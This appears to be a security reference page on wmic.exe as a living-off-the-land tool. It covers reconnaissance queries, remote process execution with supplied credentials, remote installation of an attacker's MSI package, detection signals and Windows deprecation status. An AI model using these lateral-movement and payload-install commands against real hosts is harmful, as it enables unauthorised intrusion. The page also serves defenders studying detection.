wmic

wmic.exe — the Windows Management Instrumentation Command-line utility — is a classic LOLBin: a signed Microsoft binary exposing WMI’s query and method-invocation power from cmd.exe. It covers reconnaissance (software, services, patches, AV), remote process execution, and remote software installation, which is precisely why Microsoft deprecated it: disabled by default in Windows 11 23H2/24H2 and removed entirely from Windows 11 25H2 onward (available only as an optional Feature-on-Demand on earlier builds). On modern systems the CIM PowerShell cmdlets (wmi-powershell-sessions) take over — at the cost of much richer logging on the caller side.

Local reconnaissance

wmic product get name,version,vendor          # installed software (misses 32-bit apps on 64-bit OS)
wmic service get name,displayname,pathname,startmode   # all services
wmic qfe get caption,description,hotfixid,installedon  # installed updates (feeds Windows-Exploit-Suggester)
wmic service where "name like '$SERVICE_NAME'" get name,pathname   # one service's details
wmic /namespace:\\root\securitycenter2 path antivirusproduct       # enumerate AV products
wmic useraccount get name,sid                 # SIDs for all local users

The qfe output is the classic input for patch-gap tooling such as Windows Exploit Suggester; the securitycenter2 AV query doubles as a target-profile check before dropping payloads (see csharp-av-bypass for the payload side).

Remote process creation

The workhorse lateral-movement primitive (MITRE T1047): invoke Win32_Process.Create on a remote host over DCOM/RPC (TCP 135 + dynamic ports, same substrate as dcerpc and exploit-windows-scheduled-tasks):

wmic.exe /user:$TARGET_USER `
         /password:$TARGET_PASSWORD `
         /node:$TARGET_HOST `
    process call create "$SOME_COMMAND"

/node accepts lists (/node:@"C:\targets.txt") for fan-out. The process spawns as a child of WmiPrvSE.exe on the target — a high-fidelity detection signature — and wmic leaves no PowerShell script-block trail on the caller, which is why attackers preferred it over remoting.

Remote MSI installation

wmic.exe /user:$TARGET_USER `
         /password:$TARGET_PASSWORD `
         /node:$TARGET_HOST `
    product call install PackageLocation=$PATH_TO_ATTACKER_MSI

Win32_Product methods are notoriously slow (they trigger a full Windows Installer reconfiguration / consistency check of every installed package), so this channel is noisy in time and telemetry even when it works.

Deprecation and replacements

Era	Status
Windows 10 ≤ 21H1, Server ≤ 2022	Installed and enabled by default
Windows 11 23H2 / 24H2	Disabled by default; installable as Feature-on-Demand
Windows 11 25H2+	Removed on upgrade; not in later releases

Replacements: CIM cmdlets (Get-CimInstance, Invoke-CimMethod) for everything query/exec, and Get-Package/winget for software inventory. Defenders should hunt legacy wmic.exe invocations on 25H2+ estates — its mere presence there is anomalous.

Sources

• LOLBAS Project — Wmic.exe
• Microsoft Support — WMIC removal from Windows
• MITRE ATT&CK T1047 — Windows Management Instrumentation

Related: wmi-powershell-sessions, wmi-remote-service-execution, dcerpc, windows-reconnaissance-commands, exploit-windows-services